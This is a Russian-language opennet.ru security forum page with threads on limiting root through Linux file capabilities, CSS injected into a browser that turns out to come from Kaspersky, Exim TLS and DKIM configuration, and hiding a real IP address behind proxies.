forum.opennet.ru


Форум Информационная безопасность

Понижение привилегий root с помощью file capability (CAP).,

Аноним, (Linux привязка / Linux) 23-Мрт-22, 17:55 [⋘ | ☳ | ⋙ | ⚟ ] [линейный вид] [смотреть все] [раскрыть новое]

gt оверквотинг удален setcap только устанавливает для не рута Можно общесисте, Павел Отредиез (ok), 21:41 , 23-Мрт-22 (1)

setcap это замена root suid бита нарезанная на лоскутки Так не отнять капы у ру, Павел Отредиез (ok), 22:05 , 23-Мрт-22 (3)

Какие Capability-NG от Google , Аноним (5), 05:52 , 24-Мрт-22 (5)
Давно уже с помощью MAC можно отнимать, пофайлово, привилегии CAP у root процесс, Аноним (5), 07:03 , 24-Мрт-22 (7)

Не очень, но давай Собрал аж 12 cap которые не используются, их можно отключить, Аноним (5), 05:49 , 24-Мрт-22 (4)

gt оверквотинг удален Какую задачу ты решаешь Может наоборот для не рута выст, Павел Отредиез (ok), 21:42 , 23-Мрт-22 (2)

Отнимать права у процесов при запуске от root определенных файлов с помощью xatt, Аноним (5), 06:15 , 24-Мрт-22 (6)
А как выставить нужные CAP для не root, правельно, в плане безопасности 1 Мнени, Аноним (8), 11:13 , 24-Мрт-22 (8)
> для не рута выставить нужные cap?
А как выставить нужные CAP для не root, правельно, в плане безопасности?
1. Мнение разрабов дистрибутива:
groupadd wireshark
usermod -a -G wireshark vasya
chown root:wireshark /usr/bin/dumpcap
chmod a-rwxst,u+rwx,g+x /usr/bin/dumpcap
setcap cap_dac_read_search,cap_net_admin,cap_net_raw=ep /usr/bin/dumpcap
2 Мое мнение:
chmod go-rwst /usr/bin/dumpcap
setcap cap_dac_read_search,cap_net_admin,cap_net_raw=i /usr/bin/dumpcap
В файле /etc/security/capability.conf добавляем строку:
cap_dac_read_search,cap_net_admin,cap_net_raw vasya
В файле /etc/pam.d/auth/system-auth добавляем строку:
auth required pam_cap.so
сообщить модератору +/– ответить

В первом случае капы даются только на бинарник Во втором Васе вообще С точки з, Павел Отредиез (ok), 18:35 , 24-Мрт-22 (9)
>> для не рута выставить нужные cap?
> А как выставить нужные CAP для не root, правельно, в плане безопасности?
В первом случае капы даются только на бинарник. Во втором Васе вообще. С точки зрения безопасности первый вариант уже и лучше. Второй слишком много прав.

сообщить модератору +/– ответить

Садись, двойка В первом случае права CAP даются на бинарник всем, а с помощью DA, Аноним (10), 11:01 , 25-Мрт-22 (10)
> В первом случае капы даются только на бинарник. Во втором Васе вообще.
> С точки зрения безопасности первый вариант уже и лучше. Второй слишком много прав.
Садись, двойка.
В первом случае права CAP даются на бинарник всем, а с помощью DAC право запускать бинарь разрешают только группе wiresharck. Таким образом права CAP фактически получат только члены этой группы и только на процесс dumpcap.
Во втором случае в /etc/security/capability.conf, пользователю дается только возможность наследовать определенные права CAP, а сами права он получает только при исполнении файла для которого установлены эти права с битом наследования. Таким образом права CAP фактически получит только определенные в /etc/security/capability.conf пользователи и только на процесс dumpcap.
Заметь разницу:
Вариант 1
setcap cap_dac_read_search,cap_net_admin,cap_net_raw=ep /usr/bin/dumpcap
Вариант 2
setcap cap_dac_read_search,cap_net_admin,cap_net_raw=i /usr/bin/dumpcap
PS: как права root порезать знаешь? Ссылки на патчи есть?
сообщить модератору +/– ответить

Что никому здесь CAP не нужны Google в Android умеет сбрасывать права root своим, Аноним (11), 18:13 , 30-Мрт-22 (11)
Что никому здесь CAP не нужны?
Google в Android умеет сбрасывать права root своим init: https://chromium.googlesource.com/aosp/platform/system/core/...
"If no capabilities are provided, then all capabilities are removed from this service, even if it runs as root."

До ядра 2.6.25 права резались общесистемно, а в новых версиях заявлена по поточна поддержка прав. В Linux на каждый процесс можно выставить свои права.
Общесистемные, доступные права в /proc/sys/kernel/cap-bound можно было когдато редактировать lcap: https://www.debian.org/doc/manuals/securing-debian-manual/ch...
lcap - A user friendly interface to remove capabilities (kernel-based access control) in the kernel, making the system more secure. For example, executing lcap CAP_SYS_MODULE will remove module loading capabilities (even for the root user).
CapInh для root можно выставить в /etc/security/capabilities.conf как сбросить права root процессов с помощью XATTR security.capability?
сообщить модератору +/– ответить

Всем нужны, но все стесняются поднять этот вопрос У меня от root для ВСЕХ задач , Аноним (12), 15:35 , 19-Апр-22 (12)
> Что никому здесь CAP не нужны?
Всем нужны, но все стесняются поднять этот вопрос.
У меня от root для ВСЕХ задач запускаются ~50 программ. Все необходимые и достаточные CAP для этих 50 прог собрал. Это всего ~50 строк простейшего кода, который выставит необходимые и достаточные привилегии для этих прог с битом наследования.
В /etc/security/capability.conf прописать:
перечень,необходимых,и,достаточных,прав   root
# а остальным все запретить:
none *
Вот только дырявое ведро линукса согласно
    man 7 capabilities https://man7.org/linux/man-pages/man7/capabilities.7.html
Не хочет обрабатывать права для root тупо в permitted и effective записывая все без фильтра.
Надо бы опцию какюто в .config и параметрах загрузки ядра иметь, чтобы для root CAP обрабатывались, как для обычного пользователя!
Есть еще вариантант СТРАШНЫЙ КОСТЫЛЬ:
https://man7.org/linux/man-pages/man7/capabilities.7.html
Set-user-ID-root programs that have file capabilities
       There is one exception to the behavior described under
       Capabilities and execution of programs by root.  If (a) the
       binary that is being executed has capabilities attached and (b)
       the real user ID of the process is not 0 (root) and (c) the
       effective user ID of the process is 0 (root), then the file
       capability bits are honored (i.e., they are not notionally
       considered to be all ones).  The usual way in which this
       situation can arise is when executing a set-UID-root program that
       also has file capabilities.  When such a program is executed, the
       process gains just the capabilities granted by the program (i.e.,
       not all capabilities, as would occur when executing a set-user-
       ID-root program that does not have any associated file
       capabilities).
       Note that one can assign empty capability sets to a program file,
       and thus it is possible to create a set-user-ID-root program that
       changes the effective and saved set-user-ID of the process that
       executes the program to 0, but confers no capabilities to that
       process.
Надо кроме inhirit CAP ставить еще s-bit, и запускать процесс под обычным пользователем с прописанными возможными правами в:  /etc/security/capability.conf
Кто что скажет по этому варианту?
сообщить модератору +/– ответить

https www opennet ru opennews art shtml num 29219http forums grsecurity net , Аноним (13), 08:06 , 28-Фев-23 (13)
> исследование показало неожиданные результаты: 19 из 35 существующих "capabilities" позволили совершить действия, которые в конечном итоге потенциально могут привести к получению полноценных прав пользователя root.
https://www.opennet.ru/opennews/art.shtml?num=29219
http://forums.grsecurity.net/viewtopic.php?f=7&t=2522
сообщить модератору +/– ответить

Все равно лучше CAP чем нечего Привилегии root процессов разать надо Кто-то выщ, Аноним (14), 14:06 , 28-Фев-23 (14)
Все равно лучше CAP чем нечего. Привилегии root процессов разать надо.
Кто-то выще малтикса на уровне B3 что-то когдато делал? Есть ссылки по успешному использованию capabilities для ограичения root в GNU/Linux дистрах?
сообщить модератору +/– ответить

С 2005 года TCSEC заменены на Общие критерии Из закрытых систем EAL6 соответств, Аноним (-), 14:43 , 30-Мрт-24 (15)
С 2005 года TCSEC заменены на Общие критерии.
Из закрытых систем EAL6+ соответствует Huawei HongMeng Kernel V100R006C00SPC020B030.
Из открытых систем EAL4+ соответствуют Huawei EulerOS v2.0 (V200R002C20) и SUSE Linux Enterprise Server 15 SP2.
https://commoncriteriaportal.org/products/index.cfm
сообщить модератору +/– ответить

CC - развод лохов маркетологами Давай тесты сертифицированных по СС OS на предме, Аноним (16), 20:46 , 12-Апр-24 (16)
CC - развод лохов маркетологами.
Давай тесты сертифицированных по СС OS на предмет удовлетворения требований уровню C2 1983 года: https://www.opennet.ru/openforum/vsluhforumID3/129886.html#301
сообщить модератору +/– ответить

https www opennet ru openforum vsluhforumID3 129886 html 309и вывод pscap с Hu, Аноним (16), 20:51 , 12-Апр-24 (17)
https://www.opennet.ru/openforum/vsluhforumID3/129886.html#309
и вывод pscap с:
Huawei EulerOS
SUSE Linux Enterprise Server
сообщить модератору +/– ответить

Заражение браузера, в CSS прописаны 'левые сайты',

revun, (Блокирование спама и вирусов / Другая система) 22-Ноя-21, 14:44 [⋘ | ☳ | ⋙ | ⚟ ] [линейный вид] [смотреть все] [раскрыть новое]

gt оверквотинг удален Вы один пользуетесь компьютером и этой учеткой , Павел Отредиез (ok), 17:02 , 22-Ноя-21 (1)
>[оверквотинг удален]
> Система Windows X. Проблема с заражением браузера.
> Спецом не являюсь так что прошу заранее прощения за отсутствие сленга и
> "свободное плавание" в вопросе.
> При изучении кода браузеров - эдж/хром/мозила обнаружил теги не присущие для сайтов
> прописаны в теге style, а также ссылки ведущие на всякие непонятные
> сайты.
> при просмотре с других устройств таких паразитов не обнаруживается, потому считаю, что
> заражено именно моё устройство. Использование MBAM, Kaspersky, DRWeb и прочими не
> выявляет источник заразы.
> Заранее благодарен.
Вы один пользуетесь компьютером и этой учеткой?
сообщить модератору +/– ответить

gt оверквотинг удален да, Виталий (??), 18:53 , 22-Ноя-21 (2)
>[оверквотинг удален]
>> Спецом не являюсь так что прошу заранее прощения за отсутствие сленга и
>> "свободное плавание" в вопросе.
>> При изучении кода браузеров - эдж/хром/мозила обнаружил теги не присущие для сайтов
>> прописаны в теге style, а также ссылки ведущие на всякие непонятные
>> сайты.
>> при просмотре с других устройств таких паразитов не обнаруживается, потому считаю, что
>> заражено именно моё устройство. Использование MBAM, Kaspersky, DRWeb и прочими не
>> выявляет источник заразы.
>> Заранее благодарен.
> Вы один пользуетесь компьютером и этой учеткой?
да

сообщить модератору +/– ответить

11 само себя не поставит Время пришло , DeerFriend (?), 20:03 , 22-Ноя-21 (3)
11 само себя не поставит. Время пришло.
сообщить модератору +/– ответить

Заражение браузера, в CSS прописаны 'левые сайты', Виталий (??), 21:38 , 22-Ноя-21 (6)
> 11 само себя не поставит. Время пришло. - увы нет TPM
сообщить модератору +/– ответить

Наверное X Window System X Window не связана с кодом браузеровЭмм, покажите исх, ыы (?), 20:17 , 22-Ноя-21 (4)
> Всем доброго времени суток!
> Система Windows X. Проблема с заражением браузера.
Наверное X Window System ?
> При изучении кода браузеров - эдж/хром/мозила
X Window не связана с кодом браузеров
> обнаружил теги не присущие для сайтов
Эмм, покажите исходник где нашли такое...
> прописаны в теге style, а также ссылки ведущие на всякие непонятные сайты.
Удалите их
> при просмотре с других устройств таких паразитов не обнаруживается
Возможно все дело в том чем вы смотрите

сообщить модератору +/– ответить

style type text css nonce undefined ct-bottom-ads, ct_ad, cta-ad, ctg-ad, , Виталий (??), 21:33 , 22-Ноя-21 (5)
>> Всем доброго времени суток!
>> Система Windows X. Проблема с заражением браузера.
> Наверное X Window System ?                                         - совершенно верно
>> При изучении кода браузеров - эдж/хром/мозила
> X Window не связана с кодом браузеров
>> обнаружил теги не присущие для сайтов
> Эмм, покажите исходник где нашли такое...                           - не нахожу здесь интерфейса для отправки исходника или прикрепления скрина, потому выкладываю как могу, извините. в элементе более 100 строк потому только частично привожу.
<style type="text/css" nonce="undefined">.ct-bottom-ads,.ct_ad,.cta-ad,.ctg-ad,.ctips-ad-unit,.ctn-advertising,.ctnAdSkyscraper,.ctnAdSquare300,.ctn_ads_rhs,.ctn_ads_rhs_organic,.ctpl-duplicated-ad,.ctr-tss-ads,.cube-ad,.cubeAd,.cube_ad,.cube_ads,.cubead-widget,.currency_ad,.custom-ad-container,.custom-ad-one,.custom-ads,.custom-advert-banner,.custom-banner-leaderboard-ad,.customAd,.custom_ad,.custom_ads,.custom_banner_ad,.custom_footer_ad,.customadvert,.customized_ad_module,.cwAdvert,.cwv2Ads,.cxAdvertisement,.cyads650x100,.cz-sponsorposts,.d1-top-ad,.d3-c-adblock,.d499d-ads-160x90-left,.d499d-ads-160x90-right,.d499d-ads-311x300-up,.d499d-ads-635x100,.da-custom-ad-box,.da-widget,.da_adp_teaser,.dac__banner__wrapper,.dac__mpu-card,.dac__stream-mpu-card,.dart-ad,.dart-ad-content,.dart-ad-grid,.dart-ad-taboola,.dart-ad-title,.dart-advertisement,.dart-leaderboard,.dart-leaderboard-top,.dart-medsquare,.dartAd300,.dartAd491,.dartAdImage,.dart_ad,.dart_tag,.dartad,.dartadbanner,.dartadvert,.dartiframe,.datafile-ad,.datasphere-ad-front,.dc-ad,.dc-banner,.dc-half-banner,.dc-widget-adv-125,.dcAdvertHeader,.dcm-advert,.dcmads,.dd-ad,.dd-ad-container,.dda-ad,.ddb,.ddc-table-ad,.deadblocker-header-bar,.deadblocker-header-bar-inner,.deckAd,.deckads,.default-teaser__adv,.default_rc_theme,.demo-advert,.desktop-ad,.desktop-ad-banner,.desktop-ad-inpage,.desktop-ads,.desktop-advert,.desktop-article-top-ad,.desktop-aside-ad,.desktop-aside-ad-hide,.desktop-in-content-native-ad,.desktop-lazy-ads,.desktop-postcontentad-wrapper,.desktop-sidebar-ad-wrapper,.desktop-top-ad-wrapper,.desktop.ad,.desktopAd,.desktop_ad,.desktop_only_ad,.desktopads,.desktoponlyad,.detach_container__sponsor-link,.detail-ad,.detail-ads,.detailMpu,.detailSidebar-adPanel,.detail__ad--small,.detail_ad,.detail_article_ad,.detail_top_advert,.details-advert,.detectBlockBox,.detected-block-modal,.devil-ad-spot,.dex-
......}</style>
Таких элементов в <head></head> 7 штук
>> прописаны в теге style, а также ссылки ведущие на всякие непонятные сайты.
> Удалите их                                                                   - делал неоднократно, но удаление ничего не даёт, поскольку это в ситуативном окне, при обновлении браузера элементы появляются сызнова.
>> при просмотре с других устройств таких паразитов не обнаруживается
> Возможно все дело в том чем вы смотрите                                      - поражены мозила/эдж/опера/хром, в более экзотических браузерах этих элементов нет
сообщить модератору +/– ответить

Красотиша Зеленый замочек есть Создатель - круасафчег , Аноним (-), 13:22 , 23-Ноя-21 (8)
Красотиша . Зеленый замочек есть? Создатель - круасафчег.
сообщить модератору +/– ответить
gt оверквотинг удален А где здесь сайты , Doctorrr (ok), 13:32 , 06-Дек-22 (9)
>[оверквотинг удален]
>> X Window не связана с кодом браузеров
>>> обнаружил теги не присущие для сайтов
>> Эмм, покажите исходник где нашли такое...                           - не нахожу здесь интерфейса для отправки исходника или прикрепления скрина, потому выкладываю как могу, извините. в элементе более 100 строк потому только частично привожу.
> <style type="text/css" nonce="undefined">.ct-bottom-ads,.ct_ad,.cta-ad,.ctg-ad,.ctips-ad-unit,.ctn-advertising,.ctnAdSkyscraper,.ctnAdSquare300,.ctn_ads_rhs,.ctn_ads_rhs_organic,.ctpl-duplicated-ad,.ctr-tss-ads,.cube-ad,.cubeAd,.cube_ad,.cube_ads,.cubead-widget,.currency_ad,.custom-ad-container,.custom-ad-one,.custom-ads,.custom-advert-banner,.custom-banner-leaderboard-ad,.customAd,.custom_ad,.custom_ads,.custom_banner_ad,.custom_footer_ad,.customadvert,.customized_ad_module,.cwAdvert,.cwv2Ads,.cxAdvertisement,.cyads650x100,.cz-sponsorposts,.d1-top-ad,.d3-c-adblock,.d499d-ads-160x90-left,.d499d-ads-160x90-right,.d499d-ads-311x300-up,.d499d-ads-635x100,.da-custom-ad-box,.da-widget,.da_adp_teaser,.dac__banner__wrapper,.dac__mpu-card,.dac__stream-mpu-card,.dart-ad,.dart-ad-content,.dart-ad-grid,.dart-ad-taboola,.dart-ad-title,.dart-advertisement,.dart-leaderboard,.dart-leaderboard-top,.dart-medsquare,.dartAd300,.dartAd491,.dartAdImage,.dart_ad,.dart_tag,.dartad,.dartadbanner,.dartadvert,.dartiframe,.datafile-ad,.datasphere-ad-front,.dc-ad,.dc-banner,.dc-half-banner,.dc-widget-adv-125,.dcAdvertHeader,.dcm-advert,.dcmads,.dd-ad,.dd-ad-container,.dda-ad,.ddb,.ddc-table-ad,.deadblocker-header-bar,.deadblocker-header-bar-inner,.deckAd,.deckads,.default-teaser__adv,.default_rc_theme,.demo-advert,.desktop-ad,.desktop-ad-banner,.desktop-ad-inpage,.desktop-ads,.desktop-advert,.desktop-article-top-ad,.desktop-aside-ad,.desktop-aside-ad-hide,.desktop-in-content-native-ad,.desktop-lazy-ads,.desktop-postcontentad-wrapper,.desktop-sidebar-ad-wrapper,.desktop-top-ad-wrapper,.desktop.ad,.desktopAd,.desktop_ad,.desktop_only_ad,.desktopads,.desktoponlyad,.detach_container__sponsor-link,.detail-ad,.detail-ads,.detailMpu,.detailSidebar-adPanel,.detail__ad--small,.detail_ad,.detail_article_ad,.detail_top_advert,.details-advert,.detectBlockBox,.detected-block-modal,.devil-ad-spot,.dex-
> ......}</style>
> Таких элементов в <head></head> 7 штук
>>> прописаны в теге style, а также ссылки ведущие на всякие непонятные сайты.
>> Удалите их                                                                   - делал неоднократно, но удаление ничего не даёт, поскольку это в ситуативном окне, при обновлении браузера элементы появляются сызнова.
>>> при просмотре с других устройств таких паразитов не обнаруживается
>> Возможно все дело в том чем вы смотрите                                      - поражены мозила/эдж/опера/хром, в более экзотических браузерах этих элементов нет
А где здесь сайты?
сообщить модератору +/– ответить
Столкнулся с похожей проблемой Оказалось - это сам Касперский добавляет этот ко, Ден (??), 16:13 , 01-Апр-24 (10)
Столкнулся с похожей проблемой. Оказалось - это сам Касперский добавляет этот код на страницу. Если отключить расширение Kaspersky Protection - то все эти добавки благополучно исчезают. Писал в Kaspersky поддержку - они посоветовали в настройках Kaspersky Total Security отключить "значок шестеренки в левом нижнем углу" -> Настройки -> Настройки сети == > Внедрять в трафик скрипт взаимодействия  с веб-страницами.
Это, конечно, отрубит и защиту, которую дает Kaspersky при просмотре сайтов, но зато не будет этих непонятных добавок. Вот жду ответа от поддержки - про то, что эти добавки вредоносные или наоборот для зашиты от вреда.
========================

>[оверквотинг удален]
>> X Window не связана с кодом браузеров
>>> обнаружил теги не присущие для сайтов
>> Эмм, покажите исходник где нашли такое...                           - не нахожу здесь интерфейса для отправки исходника или прикрепления скрина, потому выкладываю как могу, извините. в элементе более 100 строк потому только частично привожу.
> <style type="text/css" nonce="undefined">.ct-bottom-ads,.ct_ad,.cta-ad,.ctg-ad,.ctips-ad-unit,.ctn-advertising,.ctnAdSkyscraper,.ctnAdSquare300,.ctn_ads_rhs,.ctn_ads_rhs_organic,.ctpl-duplicated-ad,.ctr-tss-ads,.cube-ad,.cubeAd,.cube_ad,.cube_ads,.cubead-widget,.currency_ad,.custom-ad-container,.custom-ad-one,.custom-ads,.custom-advert-banner,.custom-banner-leaderboard-ad,.customAd,.custom_ad,.custom_ads,.custom_banner_ad,.custom_footer_ad,.customadvert,.customized_ad_module,.cwAdvert,.cwv2Ads,.cxAdvertisement,.cyads650x100,.cz-sponsorposts,.d1-top-ad,.d3-c-adblock,.d499d-ads-160x90-left,.d499d-ads-160x90-right,.d499d-ads-311x300-up,.d499d-ads-635x100,.da-custom-ad-box,.da-widget,.da_adp_teaser,.dac__banner__wrapper,.dac__mpu-card,.dac__stream-mpu-card,.dart-ad,.dart-ad-content,.dart-ad-grid,.dart-ad-taboola,.dart-ad-title,.dart-advertisement,.dart-leaderboard,.dart-leaderboard-top,.dart-medsquare,.dartAd300,.dartAd491,.dartAdImage,.dart_ad,.dart_tag,.dartad,.dartadbanner,.dartadvert,.dartiframe,.datafile-ad,.datasphere-ad-front,.dc-ad,.dc-banner,.dc-half-banner,.dc-widget-adv-125,.dcAdvertHeader,.dcm-advert,.dcmads,.dd-ad,.dd-ad-container,.dda-ad,.ddb,.ddc-table-ad,.deadblocker-header-bar,.deadblocker-header-bar-inner,.deckAd,.deckads,.default-teaser__adv,.default_rc_theme,.demo-advert,.desktop-ad,.desktop-ad-banner,.desktop-ad-inpage,.desktop-ads,.desktop-advert,.desktop-article-top-ad,.desktop-aside-ad,.desktop-aside-ad-hide,.desktop-in-content-native-ad,.desktop-lazy-ads,.desktop-postcontentad-wrapper,.desktop-sidebar-ad-wrapper,.desktop-top-ad-wrapper,.desktop.ad,.desktopAd,.desktop_ad,.desktop_only_ad,.desktopads,.desktoponlyad,.detach_container__sponsor-link,.detail-ad,.detail-ads,.detailMpu,.detailSidebar-adPanel,.detail__ad--small,.detail_ad,.detail_article_ad,.detail_top_advert,.details-advert,.detectBlockBox,.detected-block-modal,.devil-ad-spot,.dex-
> ......}</style>
> Таких элементов в <head></head> 7 штук
>>> прописаны в теге style, а также ссылки ведущие на всякие непонятные сайты.
>> Удалите их                                                                   - делал неоднократно, но удаление ничего не даёт, поскольку это в ситуативном окне, при обновлении браузера элементы появляются сызнова.
>>> при просмотре с других устройств таких паразитов не обнаруживается
>> Возможно все дело в том чем вы смотрите                                      - поражены мозила/эдж/опера/хром, в более экзотических браузерах этих элементов нет
сообщить модератору +/– ответить

Настроить TLS на EXIM-е (SMTP сервере),

korbnik, (Шифрование, SSH, SSL / Linux) 02-Ноя-23, 12:25 [⋘ | ☳ | ⋙ | ⚟ ] [линейный вид] [смотреть все] [раскрыть новое]

Добрый день, Борис Это штатный режим почты в наше время Исходящая наружу почта в, Тот самый (?), 16:27 , 03-Ноя-23 (1)
Добрый день, Борис!
> Кто-нибудь использовал TLS при настройке почты на SMTP сервере EXIM ?
Это штатный режим почты в наше время.
Исходящая наружу почта в exim контролируется в транспорте.
(мой рабочий конфиг):
begin transports
remote_smtp:
  driver                        = smtp
  command_timeout               = 2m
  connect_timeout               = 2m
  connection_max_messages       = 10
  max_parallel                  = 10
  port                          = 25
  message_size_limit            = 200M
  dkim_domain                   = my_domain.com #(1)
  dkim_selector                 = mail #(1)
  dkim_private_key              = /etc/exim/dkim.key #(1)
  dkim_strict                   = true #(1)
  dkim_sign_headers             = Date:Message-ID:Subject:From:To:In-Reply-To:References:MIME-Version:Content-Type #(1)
  tls_certificate               = /etc/ssl/my_domain.pem #(2)
  tls_privatekey                = /etc/ssl/my_domain.key #(2)
  tls_verify_certificates       = /etc/ssl/cacert.pem #(3)
  tls_try_verify_hosts          = *
  tls_verify_cert_hostnames     = *
  tls_tempfail_tryclear         = true #(4)
  tls_sni                       = *
  tls_require_ciphers           = HIGH:-SSLv3:-TLSv1:-ADH:-PSK:-ARIA:-CAMELLIA #(5)
(1) DKIM требует еще настроек в DNS. Можно не включать.
(2) Сертификат тот-же, что и на приеме почты
(3) Глобальные доверенные СА
(4) Если принимающий хост не работает по TLS, то передать в нешифрованном режиме
(5) Настройка openssl для работы только по TLS1.2 и TLS1.3
сообщить модератору +/– ответить

gt оверквотинг удален Добрый день спасибо большое за предоставленную информаци, korbnik (??), 10:28 , 07-Ноя-23 (2)
>[оверквотинг удален]
>
>   = *
>   tls_require_ciphers
>  = HIGH:-SSLv3:-TLSv1:-ADH:-PSK:-ARIA:-CAMELLIA #(5)
> (1) DKIM требует еще настроек в DNS. Можно не включать.
> (2) Сертификат тот-же, что и на приеме почты
> (3) Глобальные доверенные СА
> (4) Если принимающий хост не работает по TLS, то передать в нешифрованном
> режиме
> (5) Настройка openssl для работы только по TLS1.2 и TLS1.3
Добрый день!

спасибо большое за предоставленную информацию.
У куда этот транспорт ставить в exim.conf ?
Я думаю, что желательно в самом начале секции транспорта?
Заранее благодарен. Борис.
сообщить модератору +/– ответить

День добрый Транспорт можно вставлять в любое место секции begin transports П, Тот самый (?), 19:25 , 08-Ноя-23 (3)
День добрый!
Транспорт можно вставлять в любое место секции "begin transports". Порядок их описания не имеет значения, т.к. транспорты срабатывают только при вызове по их имени (в моем случае - "remote_smtp") из роутеров. А вот порядок следования роутеров значение имеет.
Для примера, самый первый роутер:
begin routers
dns_lookup:
  driver = dnslookup
  domains = !+local_domains   # для локальной доставки используется другой роутер
  rewrite_headers = false
  transport = remote_smtp     # вызов транспорта с именем "remote_smtp"
  ignore_target_hosts = 0.0.0.0 : 127.0.0.0/8
  no_more
сообщить модератору +/– ответить

День добрый Можно ли сделать так Допустим у нас есть какой-то список доменов tls, korbnik (??), 15:02 , 13-Ноя-23 (4)
День добрый!
Можно ли сделать так:
Допустим у нас есть какой-то список доменов tls_domainlist
Для этого списка доменов нужно обязательно шифровать, если будет ошибка при шифровании, то
не посылать сообщение, даже не зашифрованное. А для всех остальных доменов шифровать сообщение, потом отсылать, а при ошибки шифрования
отсылать не зашифрованное сообщение.
Заранее благодарен. Борис.
сообщить модератору +/– ответить

Добрый день Не проблема Два разных транспорта и два соответсвующих роутераbegin, Тот самый (?), 15:59 , 13-Ноя-23 (5)
Добрый день!
Не проблема.
Два разных транспорта и два соответсвующих роутера
begin transports
tls_always:
  driver                = smtp
.....
  hosts_require_tls     = mail.ru : gmail.com : и т.д.
  tls_tempfail_tryclear = false
......
tls_optional:
  driver                = smtp
.....
  tls_tempfail_tryclear = true
.....
############
begin routers
dns_lookup:
  driver = dnslookup
  domains = mail.ru : gmail.com : и т.д.   # только для этих доменов
.....
  transport = tls_always     # вызов транспорта с именем "tls_always"
  no_more
dns_lookup:
  driver = dnslookup
  domains = !+local_domains   # все остальные, кроме локальных
......
  transport = tls_optional     # вызов транспорта с именем "tls_optional"
  no_more
сообщить модератору +/– ответить
Естественно, вместо явного перечня доменов в роутере можно использовать лист ка, Тот самый (?), 16:02 , 13-Ноя-23 (6)
Естественно, вместо явного перечня доменов в роутере можно использовать лист (как удобно)
domains = +tls_domainlist
сообщить модератору +/– ответить
Сорри, не обратил внимания, что в hosts_require_tls перечисляются хосты, а не до, Тот самый (?), 16:10 , 13-Ноя-23 (7)
Сорри, не обратил внимания, что в hosts_require_tls перечисляются хосты, а не домены. Т.е. надо
hosts_require_tls = mxs.mail.ru : .....
сообщить модератору +/– ответить

А совсем правильно будет в транспрорте tls_always поставить hosts_require_tls , Тот самый (?), 00:02 , 14-Ноя-23 (8)
А совсем правильно будет в транспрорте tls_always поставить:
hosts_require_tls = *
сообщить модератору +/– ответить

Скрыть реальный ай-пи,

bp1136, (VPN, IPSec / Linux) 15-Окт-23, 11:50 [⋘ | ☳ | ⋙ | ⚟ ] [линейный вид] [смотреть все] [раскрыть новое]

Прислать скан счета за ЖКХ или прочие подобные документы просят только на всяких, Аноним (1), 21:13 , 15-Окт-23 (1)
Они сами дают подсказки PS картинка со свиньей за забором жпг , Аноним (2), 12:34 , 16-Окт-23 (2) +1
>your ISP and DNS were
>DNS
Они сами дают подсказки.
PS картинка со свиньей за забором.жпг ;)
сообщить модератору +1 +/– ответить

Очень жаль , но моих юзерских знаний в маршрутизации явно маловато Если не оче, Павел (??), 16:32 , 18-Окт-23 (5)
>>your ISP and DNS were
>>DNS
> Они сами дают подсказки.
> PS картинка со свиньей за забором.жпг ;)
Очень жаль , но моих юзерских знаний в маршрутизации явно маловато . Если не очень затруднит поясните свои выводы -
-Они сами дают подсказки.
Как выкрутиться из ловушки их безопасности ?
сообщить модератору +/– ответить

Через какой именно прокси-сайт Прокси обычно подставляют в HTTP-запрос дополните, ACCA (ok), 00:22 , 18-Окт-23 (3)
> Очень хотелось бы получить помощь специалистов безопасности .
> Через прокси-сайт пытался выдать себя за американца , но был заблочен с
Через какой именно прокси-сайт?
Прокси обычно подставляют в HTTP-запрос дополнительные поля:
X-Forwarded-For
X-Client-IP
Поэтому что-то неуловимо выдавало в тебе украинского разведчика.
[...]
> Вот такая проблемка , за подсказку которая сработает готов заплатить , можно
Платить придётся ежемесячно, а то и по-гигабайтно. Бесплатно тебя только через MITM proxy пустят.
сообщить модератору +/– ответить

Имеется 2 проксиhttps wondersave infohttps trynew linkПлатить помесячно согл, Павел (??), 16:28 , 18-Окт-23 (4)
>>
> Через какой именно прокси-сайт?
Имеется 2 прокси
https://wondersave.info
https://trynew.link
> Прокси обычно подставляют в HTTP-запрос дополнительные поля:
> X-Forwarded-For
> X-Client-IP
> Платить придётся ежемесячно, а то и по-гигабайтно. Бесплатно тебя только через MITM
> proxy пустят.
Платить помесячно согласен - наставьте на путь истинный !!!!!
сообщить модератору +/– ответить

Оба анонимные, то есть утечка не через них Смотри здесь http www whatismypro, ACCA (ok), 07:18 , 19-Окт-23 (6)
> https://wondersave.info
> https://trynew.link
Оба анонимные, то есть утечка не через них. Смотри здесь: http://www.whatismyproxy.com/
Есть вариант, что тебя через JavaScript видят. То есть в странице злобного сайта сидит хня, которая игнорируя proxy settings отправляет маячок, который тебе и мешает изображать из себя проукраинского американца.
Ещё забавный вариант - это твоя Ukrainian Company "Vodafone UA" поставила transparent proxy и палит контору. Смотри там же - http://www.whatismyproxy.com/
А что за сайт тебя банит по национальному признаку?
сообщить модератору +/– ответить

Вы пишете чушь Код javascript в браузере в принципе ничего не знает про прокси , Виктор (??), 08:12 , 20-Окт-23 (7)
> Есть вариант, что тебя через JavaScript видят. То есть в странице злобного
> сайта сидит хня, которая игнорируя proxy settings отправляет маячок, который тебе
> и мешает изображать из себя проукраинского американца.
Вы пишете чушь. Код javascript в браузере в принципе ничего не знает про прокси и не может знать.
сообщить модератору +/– ответить

Это твой код ничего не знает Потому, что ты ничего не знаешь проproxy settings , ACCA (ok), 20:44 , 20-Окт-23 (8)
> Вы пишете чушь. Код javascript в браузере в принципе ничего не знает
> про прокси и не может знать.
Это твой код ничего не знает. Потому, что ты ничего не знаешь про
proxy.settings в Firefox,
chrome.proxy в Chrome и т.д.
сообщить модератору +/– ответить

Нет таких объектов в js для браузеров, Виктор (??), 21:43 , 20-Окт-23 (9)
> Это твой код ничего не знает. Потому, что ты ничего не знаешь
> про
> proxy.settings в Firefox,
> chrome.proxy в Chrome и т.д.
Нет таких объектов в js для браузеров
сообщить модератору +/– ответить

Снимаю шляпу - ты прав, больше нет Это теперь в extensions Хотя совсем не факт, ACCA (ok), 05:24 , 21-Окт-23 (10)
> Нет таких объектов в js для браузеров
Снимаю шляпу - ты прав, больше нет. Это теперь в extensions. Хотя совсем не факт, что он себе что-нибудь не подсосал и у него такие объекты всё-таки есть.
Остаётся вариант, что пассажира пасут через какую-нибудь Decloaking Engine. Крайне сомнительно, что он ставит что-нибудь вроде network.proxy.socks_remote_dns = true
сообщить модератору +/– ответить

Как детё чесслово Идешь в ближайший сигаретный ларёк, покупаешь стакан симок у , Аноним (12), 17:14 , 27-Окт-23 (12)
